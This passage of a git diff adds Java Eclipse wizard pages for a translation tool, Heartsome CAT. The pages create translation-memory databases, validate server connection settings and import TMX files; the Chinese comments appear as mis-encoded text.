ValidationStatus.error(Messages.getString("wizard.NewTmDbBaseInfoPage.msg1")); + } + // + + String dbName = dbModel.getDbName(); + String instance = dbModel.getInstance(); + String host = dbModel.getHost(); + String port = dbModel.getPort(); + String location = dbModel.getItlDBLocation(); + String username = dbModel.getUserName(); + String password = dbModel.getPassword(); + + if (dbName == null || dbName.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("wizard.NewTmDbBaseInfoPage.msg2")); + } + + String vRs = DbValidator.valiateDbName(dbName); + if (vRs != null) { + return ValidationStatus.error(vRs); + } + + if (dbMetaData.instanceSupported()) { + if (instance == null || instance.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("wizard.NewTmDbBaseInfoPage.instancemsg")); + } + dbMetaData.setInstance(instance == null ? "" : instance); + } + + if (dbMetaData.dataPathSupported()) { + if (location == null || location.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("wizard.NewTmDbBaseInfoPage.msg3")); + } + File f = new File(location); + if (!f.isDirectory() || !f.exists()) { + return ValidationStatus.error(Messages.getString("wizard.NewTmDbBaseInfoPage.msg11")); + } + } + if (dbMetaData.serverNameSupported()) { + if (host == null || host.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("wizard.NewTmDbBaseInfoPage.msg4")); + } + } + if (dbMetaData.portSupported()) { + if (port == null || !port.matches("[0-9]+")) { + return ValidationStatus.error(Messages.getString("wizard.NewTmDbBaseInfoPage.msg5")); + } + } + if (dbMetaData.userNameSupported()) { + if (username == null || username.trim().length() == 0) { + return ValidationStatus.error(Messages.getString("wizard.NewTmDbBaseInfoPage.msg6")); + } + } + + dbMetaData.setDatabaseName(dbName == null ? "" : dbName); + dbMetaData.setDataPath(location == null ? "" : location); + dbMetaData.setServerName(host == null ? "" : host); + dbMetaData.setPort(port == null ? "" : port); + dbMetaData.setUserName(username == null ? "" : username); + dbMetaData.setPassword(password == null ? "" : password); // 密ç å¯ä»¥ä¸ºç©º + + return ValidationStatus.ok(); + } + + /** + * 获å–æ•°æ®åº“æ“作对象 + * @return ; + */ + public SystemDBOperator getCurrDbOp() { + return dbOp; + } + + /** + * 检查æœåŠ¡å™¨åž‹æ•°æ®åº“ + * @return ; + */ + public String checkDb4Server(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 3); + monitor.setTaskName(Messages.getString("wizard.NewTmDbBaseInfoPage.task1")); + String message = null; + if (!dbOp.checkDbConnection()) { + message = Messages.getString("wizard.NewTmDbBaseInfoPage.msg7"); + return message; + } + if (!dbOp.checkSysDb()) { // 检查是å¦åˆ›å»ºäº†ç³»ç»Ÿåº“,没创建则创建 + try { + dbOp.createSysDb(); + } catch (Exception e) { + logger.error(Messages.getString("wizard.NewTmDbBaseInfoPage.logger1")); + message = Messages.getString("wizard.NewTmDbBaseInfoPage.msg8"); + return message; + } + } + monitor.worked(1); + if (dbOp.checkDbExistOnServer()) { + message = Messages.getString("wizard.NewTmDbBaseInfoPage.msg9"); + return message; + } + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.done(); + return message; + } + + public String canCreateDb(IProgressMonitor monitor) { + String message = null; + if (dbOp == null) { + message = Messages.getString("wizard.NewTmDbBaseInfoPage.msg1"); + } + + if (message == null) { + message = checkDb4Server(monitor); + } + + if (message != null) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + } + if (message == null) { + pStore.setValue(TMPreferenceConstants.TM_RM_DBTYPE, dbModel.getDbType()); + pStore.setValue(TMPreferenceConstants.TM_RM_INSTANCE, dbModel.getInstance()); + pStore.setValue(TMPreferenceConstants.TM_RM_SERVER, dbModel.getHost()); + pStore.setValue(TMPreferenceConstants.TM_RM_PORT, dbModel.getPort()); + pStore.setValue(TMPreferenceConstants.TM_RM_USERNAME, dbModel.getUserName()); + pStore.setValue(TMPreferenceConstants.TM_RM_PATH, dbModel.getItlDBLocation()); + } + return message; + } + + /** + * 创建数æ®åº“ + * @return ; + */ + public String executeCreateDB(SystemDBOperator dbOp, IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 3); + monitor.setTaskName(Messages.getString("wizard.NewTmDbBaseInfoPage.task2")); + String message = null; + try { + if (Constants.FAILURE == dbOp.createDB()) { + message = Messages.getString("wizard.NewTmDbBaseInfoPage.msg8"); + } else { + if (!dbOp.getDBConfig().getDefaultType().equals(Constants.DBTYPE_SQLITE)) { + dbOp.updataSysDb(Constants.DB_TYPE_TM); // 更新系统库 + saveToServerConfigFile(dbOp); // 处ç†æœ¬åœ°æœåŠ¡å™¨åˆ—表 + } + } + monitor.worked(3); + } catch (SQLException e) { + logger.error("", e); + e.printStackTrace(); + message = Messages.getString("wizard.NewTmDbBaseInfoPage.msg10") + e.getMessage(); + return message; + } finally { + if (message != null) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + } + monitor.done(); + } + return message; + } + + private void saveToServerConfigFile(SystemDBOperator dbOp) { + DatabaseConfiger cf = new DatabaseConfiger(); + DatabaseModelBean bean = new DatabaseModelBean(); + MetaData md = dbOp.getMetaData(); + bean.metaDatatToBean(md); + + String serverId = cf.isServerExist(bean, md); // 判断当å‰æœåŠ¡å™¨æ˜¯å¦å·²ç»å­˜åœ¨ + if (serverId == null || serverId.equals("")) { // ä¸å­˜åœ¨ + cf.addServerConfig(bean); + } else { + bean.setId(serverId); + cf.updateServerConfigById(serverId, bean); + } + } + + public boolean canFlipToNextPage() { + return isPageComplete(); + } + + public IWizardPage getNextPage() { + WizardPage nextPage = (WizardPage) super.getNextPage(); + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + if (canCreateDb(monitor) != null) { + throw new InterruptedException(); + } + } + }; + + try { + getContainer().run(true, true, runnable); + } catch (InvocationTargetException e) { + e.printStackTrace(); + return null; + } catch (InterruptedException e) { + e.printStackTrace(); + return null; + } + nextPage.setErrorMessage(null); + return nextPage; + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/NewTmDbImportPage.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/NewTmDbImportPage.java new file mode 100644 index 0000000..c8affc7 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/NewTmDbImportPage.java @@ -0,0 +1,224 @@ +/** + * NewDatabaseWizardImportPage.java + * + * Version information : + * + * Date:Oct 28, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.wizard; + +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.bean.TMPreferenceConstants; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tm.Activator; +import net.heartsome.cat.database.ui.tm.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 导入TMX文件å‘导页 + * @author Jason + * @version + * @since JDK1.6 + */ +public class NewTmDbImportPage extends WizardPage { + Logger logger = LoggerFactory.getLogger(NewTmDbImportPage.class); + private Text tmxFileText; + + private final NewTmDbBaseInfoPage createDbPage; + + /** + * Create the wizard. + */ + public NewTmDbImportPage(NewTmDbBaseInfoPage createDbPage) { + super("importWizardPage"); + this.createDbPage = createDbPage; + setTitle(Messages.getString("wizard.NewTmDbImportPage.title")); + setDescription(Messages.getString("wizard.NewTmDbImportPage.desc")); + } + + /** + * Create contents of the wizard. + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + + setControl(container); + container.setLayout(new GridLayout(3, false)); + + Label lblTmx = new Label(container, SWT.NONE); + lblTmx.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + lblTmx.setText(Messages.getString("wizard.NewTmDbImportPage.lblTmx")); + + tmxFileText = new Text(container, SWT.BORDER); + tmxFileText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + tmxFileText.setEditable(false); + + Button tmxFileBorwserBtn = new Button(container, SWT.NONE); + tmxFileBorwserBtn.setText(Messages.getString("wizard.NewTmDbImportPage.tmxFileBorwserBtn")); + tmxFileBorwserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + FileDialog dlg = new FileDialog(getShell()); + String[] filterExt = { "*.tmx" }; + dlg.setFilterExtensions(filterExt); + String path = dlg.open(); + if (path != null) { + tmxFileText.setText(path); + } + } + }); + } + + /** + * 创建数æ®åº“,并导入文件 + * @param tmxFile + * TMX文件 + * @param tbxFile + * TBX文件 + * @param dbOp + * @param monitor + * @throws InterruptedException + * ; + */ + public void performFinish(String tmxFile, SystemDBOperator dbOp, IProgressMonitor monitor) + throws InterruptedException { + monitor.beginTask(Messages.getString("wizard.NewTmDbImportPage.task1"), 300); + String message = createDbPage.canCreateDb(new SubProgressMonitor(monitor, 80)); + if (message != null) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + throw new InterruptedException(); + } + + message = createDbPage.executeCreateDB(dbOp, new SubProgressMonitor(monitor, 80)); + if (message != null) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + throw new InterruptedException(); + } + if (tmxFile != null) { + executeImport(tmxFile, dbOp.getMetaData(), new SubProgressMonitor(monitor, 140)); + } + monitor.done(); + } + + /** + * 执行导入 + * @param tmxFile + * @param tbxFile + * @param dbMetaData + * @param monitor + * ; + */ + public void executeImport(String tmxFile, MetaData dbMetaData, IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.setTaskName(Messages.getString("wizard.NewTmDbImportPage.task2")); + monitor.beginTask("", 100); + int tmxResult = -10; + String message = ""; + if (tmxFile != null) { + try { + tmxResult = DatabaseService.importTmxWithFile(dbMetaData, tmxFile, + new SubProgressMonitor(monitor, 100), getTmxImportStrategy(), isNeedCheckContext()); + } catch (ImportException e) { + message = e.getMessage(); + } + if (!message.equals("")) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + } + } + + StringBuffer resultMessage = new StringBuffer(); + if (tmxResult != DatabaseService.SUCCESS) { + if (tmxResult == DatabaseService.FAILURE_1) { + resultMessage.append(Messages.getString("wizard.NewTmDbImportPage.msg1")); + } else if (tmxResult == DatabaseService.FAILURE_2) { + resultMessage.append(Messages.getString("wizard.NewTmDbImportPage.msg2")); + } else if (tmxResult == DatabaseService.FAILURE_3) { + resultMessage.append(Messages.getString("wizard.NewTmDbImportPage.msg3")); + } else if (tmxResult == DatabaseService.FAILURE_4) { + resultMessage.append(Messages.getString("wizard.NewTmDbImportPage.msg4")); + } else if (tmxResult == DatabaseService.FAILURE) { + resultMessage.append(Messages.getString("wizard.NewTmDbImportPage.msg5")); + } else if (tmxResult == DatabaseService.CANCEL) { + resultMessage.append(Messages.getString("wizard.NewTmDbImportPage.msg6")); + } + + if (!resultMessage.toString().equals("")) { + final String _message = resultMessage.toString(); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + } + } + monitor.done(); + } + + public String getTMXFile() { + String file = tmxFileText.getText().trim(); + if (file == null || file.length() == 0) { + return null; + } + return file; + } + + /** + * 从首选项中读å–TMX导入策略 + * @return ; + */ + public int getTmxImportStrategy() { + IPreferenceStore ps = Activator.getDefault().getPreferenceStore(); + return ps.getInt(TMPreferenceConstants.TM_UPDATE); + } + + /** + * 判断在导入的时候是å¦éœ€è¦æ£€æŸ¥ä¸Šä¸‹æ–‡ + * @return ; + */ + public boolean isNeedCheckContext() { + // TODO 是å¦éœ€è¦æ£€æŸ¥ä¸Šä¸‹æ–‡ + return false; + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/NewTmDbWizard.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/NewTmDbWizard.java new file mode 100644 index 0000000..84f1598 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/NewTmDbWizard.java @@ -0,0 +1,107 @@ +/** + * NewTMBWizard.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.wizard; + +import java.lang.reflect.InvocationTargetException; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.ui.tm.resource.Messages; +import net.heartsome.cat.ts.help.SystemResourceUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.wizard.Wizard; +import org.eclipse.ui.INewWizard; +import org.eclipse.ui.IWorkbench; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class NewTmDbWizard extends Wizard implements INewWizard { + + private NewTmDbBaseInfoPage createDbPage; + private NewTmDbImportPage importPage; + + /** + * + */ + public NewTmDbWizard() { + SystemResourceUtil.load(); + setWindowTitle(Messages.getString("wizard.NewTmDbWizard.title")); + } + + @Override + public void addPages() { + createDbPage = new NewTmDbBaseInfoPage(); + addPage(createDbPage); + importPage = new NewTmDbImportPage(createDbPage); + addPage(importPage); + setNeedsProgressMonitor(true); + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.IWorkbenchWizard#init(org.eclipse.ui.IWorkbench, + * org.eclipse.jface.viewers.IStructuredSelection) + */ + public void init(IWorkbench workbench, IStructuredSelection selection) { + + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.wizard.Wizard#performFinish() + */ + @Override + public boolean performFinish() { + final String tmxFile = importPage.getTMXFile(); + final SystemDBOperator dbOp = createDbPage.getCurrDbOp(); + if (dbOp.getDBConfig().getDefaultType().equals(Constants.DBTYPE_SQLITE)) { + String dbName = dbOp.getMetaData().getDatabaseName(); + dbName += ".hstm"; + dbOp.getMetaData().setDatabaseName(dbName); + } + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + importPage.performFinish(tmxFile, dbOp, monitor); + } + }; + + try { + getContainer().run(true, true, runnable); + } catch (InvocationTargetException e) { + e.printStackTrace(); + return false; + } catch (InterruptedException e) { + e.printStackTrace(); + return false; + } + + return true; + } + + public DatabaseModelBean getCreateDb() { + DatabaseModelBean db = createDbPage.getDbModel(); + if (db.getDbType().equals(Constants.DBTYPE_SQLITE)) { + String dbName = db.getDbName(); + dbName += ".hstm"; + db.setDbName(dbName); + } + return db; + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/TmDbManagerImportWizard.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/TmDbManagerImportWizard.java new file mode 100644 index 0000000..84da0fe --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/TmDbManagerImportWizard.java @@ -0,0 +1,78 @@ +/** + * ImportWizard.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.wizard; + +import java.lang.reflect.InvocationTargetException; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.ui.tm.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.wizard.Wizard; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmDbManagerImportWizard extends Wizard { + private TmDbManagerImportWizardTmxPage tmxPage; + + public TmDbManagerImportWizard() { + setNeedsProgressMonitor(true); + tmxPage = new TmDbManagerImportWizardTmxPage(); + } + + public TmDbManagerImportWizard(DatabaseModelBean dbModel) { + this(); + tmxPage.setDbModel(dbModel); + } + + @Override + public void addPages() { + setWindowTitle(Messages.getString("wizard.TmDbManagerImportWizard.title")); + addPage(tmxPage); + } + + @Override + public boolean performFinish() { + + final String tmxFile = tmxPage.getTMXFile(); + if (tmxFile == null || tmxFile.equals("")) { + tmxPage.setErrorMessage(Messages.getString("wizard.TmDbManagerImportWizard.msg")); + return false; + } + tmxPage.setErrorMessage(null); + tmxPage.setMessage(null); + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + tmxPage.executeImport(tmxFile, monitor); + } + }; + + try { + getContainer().run(true, true, runnable); + } catch (InvocationTargetException e) { + e.printStackTrace(); + return false; + } catch (InterruptedException e) { + e.printStackTrace(); + return false; + } + // tmxPage.setPageComplete(false); + + return true; + } + +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/TmDbManagerImportWizardTmxPage.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/TmDbManagerImportWizardTmxPage.java new file mode 100644 index 0000000..c305e73 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/wizard/TmDbManagerImportWizardTmxPage.java @@ -0,0 +1,322 @@ +/** + * ImportWizardTmxPage.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.wizard; + +import java.io.File; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.common.ui.HSDropDownButton; +import net.heartsome.cat.database.bean.TMPreferenceConstants; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tm.Activator; +import net.heartsome.cat.database.ui.tm.Utils; +import net.heartsome.cat.database.ui.tm.dialog.TmDbManagerDialog; +import net.heartsome.cat.database.ui.tm.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.window.Window; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmDbManagerImportWizardTmxPage extends WizardPage { + + Logger logger = LoggerFactory.getLogger(TmDbManagerImportWizardTmxPage.class); + private Text tmxFileText; + private DatabaseModelBean dbModel; + private Text text; + + /** + * Create the wizard. + */ + public TmDbManagerImportWizardTmxPage() { + super("wizardPage"); + setTitle(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.title")); + setDescription(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.desc")); + setImageDescriptor(Activator.getImageDescriptor("images/dialog/import-tmx-logo.png")); + } + + /** + * Create contents of the wizard. + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(3, false)); + + Label lblTmx = new Label(container, SWT.NONE); + lblTmx.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + lblTmx.setText(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.lblTmx")); + + tmxFileText = new Text(container, SWT.BORDER | SWT.READ_ONLY); + tmxFileText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + tmxFileText.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + validator(); + } + }); + + Button tmxFileBorwserBtn = new Button(container, SWT.NONE); + tmxFileBorwserBtn.setText(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.tmxFileBorwserBtn")); + tmxFileBorwserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + FileDialog dlg = new FileDialog(getShell()); + String[] filterExt = { "*.tmx" }; + dlg.setFilterExtensions(filterExt); + String path = dlg.open(); + // String path = NativeDialogFactory.fileSelectionDialog(getShell(), + // Messages.getString("wizard.TmDbManagerImportWizardTmxPage.openFile"), SWT.OPEN); + if (path != null) { + tmxFileText.setText(path); + } + } + }); + + Label label = new Label(container, SWT.NONE); + label.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + label.setText(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.lblNewLabel")); + + text = new Text(container, SWT.BORDER | SWT.READ_ONLY); + text.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + text.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + validator(); + } + }); + + HSDropDownButton selectedBtn = new HSDropDownButton(container, SWT.NONE); + selectedBtn.setText(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.button")); + Menu selectMenu = selectedBtn.getMenu(); + MenuItem item = new MenuItem(selectMenu, SWT.PUSH); + item.setText(Messages.getString("tm.dialog.addTm.DropDownButton.AddFileTm")); + item.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent e) { + FileDialog fileDialg = new FileDialog(getShell()); + fileDialg.setFilterExtensions(new String[] { "*.hstm", "*.*" }); + String result = fileDialg.open(); + if (result == null) { + return; + } + File f = new File(result); + if (!f.exists()) { + return; + } + Map r = null; + try { + r = Utils.convertFile2TmModel(f, false); + } catch (Exception e1) { + MessageDialog.openError(getShell(), Messages.getString("tm.dialog.addFileTm.errorTitle"), + e1.getMessage()); + } + if (r == null) { + return; + } + Iterator it = r.keySet().iterator(); + if (it.hasNext()) { + dbModel = it.next(); + text.setText(f.getAbsolutePath()); + } + } + }); + MenuItem serverItem = new MenuItem(selectMenu, SWT.PUSH); + serverItem.setText(Messages.getString("tm.dialog.addTm.DropDownButton.AddServerTm")); + serverItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + TmDbManagerDialog dialog = new TmDbManagerDialog(getShell()); + dialog.setDialogUseFor(TmDbManagerDialog.TYPE_DBSELECTED); + if (dialog.open() == Window.OK) { + Iterator it = dialog.getHasSelectedDatabase().keySet().iterator(); + List list = new ArrayList(); + while (it.hasNext()) { + list.add(it.next()); + } + if (list.size() > 0) { + dbModel = list.get(0); // åªå–第一个. + text.setText(dbModel.getDbName()); + } + } + } + }); + setControl(container); + initValue(); + } + + private void initValue() { + if (getDbModel() != null) { + text.setText(getDbModel().getDbName()); + } + validator(); + } + + /** + * 执行导入 + * @param tmxFile + * @param tbxFile + * @param dbMetaData + * @param monitor + * ; + * @throws InterruptedException + */ + public void executeImport(String tmxFile, IProgressMonitor monitor) throws InterruptedException { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 100); + monitor.setTaskName(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.task1")); + int tmxResult = -10; + + String message = ""; + if (tmxFile != null && dbModel != null) { + try { + tmxResult = DatabaseService.importTmxWithFile(dbModel.toDbMetaData(), tmxFile, new SubProgressMonitor( + monitor, 100), getTmxImportStrategy(), isNeedCheckContext()); + } catch (ImportException e) { + message = e.getMessage(); + } + if (!message.equals("")) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + throw new InterruptedException(); + } + } + + StringBuffer resultMessage = new StringBuffer(); + if (tmxResult != DatabaseService.SUCCESS) { + if (tmxResult == DatabaseService.FAILURE_1) { + resultMessage.append(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.msg1")); + } else if (tmxResult == DatabaseService.FAILURE_2) { + resultMessage.append(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.msg2")); + } else if (tmxResult == DatabaseService.FAILURE_3) { + resultMessage.append(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.msg3")); + } else if (tmxResult == DatabaseService.FAILURE_4) { + resultMessage.append(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.msg4")); + } else if (tmxResult == DatabaseService.FAILURE) { + resultMessage.append(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.msg5")); + } else if (tmxResult == DatabaseService.CANCEL) { + resultMessage.append(Messages.getString("wizard.TmDbManagerImportWizardTmxPage.msg6")); + } + + if (!resultMessage.toString().equals("")) { + final String _message = resultMessage.toString(); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + } + throw new InterruptedException(); + } + monitor.done(); + } + + public String getTMXFile() { + String file = tmxFileText.getText().trim(); + if (file == null || file.length() == 0) { + return null; + } + return file; + } + + /** + * 输入验è¯å™¨ ; + */ + private void validator() { + setErrorMessage(null); + setMessage(null); + String tmxFile = getTMXFile(); + if (tmxFile == null) { + 